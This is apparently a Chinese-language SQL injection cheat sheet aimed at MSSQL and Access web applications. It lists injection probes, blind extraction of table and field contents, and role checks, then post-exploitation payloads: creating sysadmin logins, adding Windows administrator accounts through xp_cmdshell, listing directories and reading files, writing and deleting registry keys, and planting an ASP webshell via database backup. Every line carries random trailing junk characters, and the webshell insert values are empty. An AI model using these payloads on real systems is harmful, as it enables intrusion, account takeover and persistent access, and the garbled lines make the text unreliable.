1.判断是否有注入;and 1=1 ;and 1=2 IKV:J9
2.初步判断是否是mssql ;and user>0 6M758K6v
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3.注入参数是字符'and [查询条件] and ''=' Ev;ocb,
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' g$ oe00b
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5.判断数据库系统 ]w=6.LzO*
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;and (select count(*) from sysobjects)>0 mssql iy_\1jB0
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;and (select count(*) from msysobjects)>0 access |+MV%QG;
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 X K5qE"
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Soa5TM
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 MrA&xM
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9.(1)猜字段的ascii值(access) 21BlLz
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^L<*ggw
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(2)猜字段的ascii值(mssql) 5Y&s+|
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 AQ 5CrYb
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10.测试权限结构(mssql) d>Z{TFY
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- nJ4CXSdE
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;U|^Tsuc`
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- df7z&{R
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ZK[S'(6q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- E5M*Gs
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6tbH(
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;and 1=(select IS_MEMBER('db_owner'));-- {Z_Pry$6
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11.添加mssql和系统的帐户
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;exec master.dbo.sp_addlogin username;-- j]"Yzt~u
;exec master.dbo.sp_password null,username,password;-- UP]J`\$o
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "l&sDh%Lk<
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;exec master.dbo.xp_cmdshell 'net user username password {=,?]Z+
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Iy](?b
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `oh'rm3'8
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12.(1)遍历目录 NDRk%_Eu(
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;create table dirs(paths varchar(100), id int) A]{8=
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;and (select top 1 paths from dirs)>0 @Ns^?#u~
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) flLC\
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(2)遍历目录 H+; _fd
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- -[a0\H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `ge{KB;*n#
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / vge@bsE
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 odquAqn
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1H@GwQ|<=
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13.mssql中的存储过程 awXL}m[_!
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xp_regenumvalues 注册表根键, 子键 -?!Z/#i4
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 F#iLMO&Q
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xp_regread 根键,子键,键值名 @yB!? x
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g?i_10Xlp
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xp_regwrite 根键,子键, 值名, 值类型, 值 C>@~W(IE
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 'mug,jM
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xp_regdeletevalue 根键,子键,值名 uwWfL32
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 i2$U##-ro]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 dp2".
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14.mssql的backup创建webshell $K ,rVTU
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use model Z[AJat@H
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create table cmd(str image); 4lb3quY$Us
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insert into cmd(str) values (''); ^=D77 jS
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backup database model to disk='c:\l.asp'; +B_q? 6pR
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15.mssql内置函数 P}&7G-
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;and (select @@version)>0 获得Windows的版本号 |RAi6;
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa rgIJ]vmy<H
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;and (select user_name())>0 爆当前系统的连接用户 Ua V9T:)x
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;and (select db_name())>0 得到当前连接的数据库 /n?5J`6
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16.简洁的webshell vo uQ.utl
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use model U`<EpO{j|
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create table cmd(str image); yKOf]m>#
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insert into cmd(str) values (''); `W?aq]4x5
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backup database model to disk='g:\wwwtest\l.asp';